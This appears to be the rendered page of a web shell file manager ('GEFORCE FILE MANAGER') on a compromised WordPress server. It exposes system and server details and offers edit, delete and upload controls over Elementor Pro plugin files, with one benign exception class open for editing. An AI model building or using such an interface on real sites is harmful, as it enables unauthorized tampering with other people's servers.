[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor-pro
/
core
/
integrations
/
exceptions
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 action-failed-exception.php
331 B
SET
[ EDIT ]
|
[ DEL ]
📄 action-validation-failed-exception.php
346 B
SET
[ EDIT ]
|
[ DEL ]
📄 exception-base.php
1,337 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: exception-base.php
<?php namespace ElementorPro\Core\Integrations\Exceptions; use ElementorPro\Plugin; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } abstract class Exception_Base extends \Exception { /** * @var string */ protected $action; /** * @var array */ protected $meta = []; /** * Get a formatted message specific to the current exception type. * * @param string $message * * @return string */ abstract protected function format_message( $message ); /** * Exception_Base constructor. * * @param string $action - Action name that failed (ideally the class name, e.g. Email::class). * @param string $message - Message to show. * @param array $meta - Exception meta data. Used for logging. * */ public function __construct( $action, $message = '', $meta = [] ) { $this->action = $action; $this->meta = $meta; $message = $this->format_message( $message ); parent::__construct( $message ); } /** * Log the exception to Elementor's log. * * @return void */ public function log() { Plugin::elementor()->logger->get_logger()->error( $this->getMessage(), [ 'meta' => $this->meta ] ); } /** * Get the error format. * * @return string */ public function __toString() { return sprintf( '%s: %s', __CLASS__, $this->getMessage() ); } }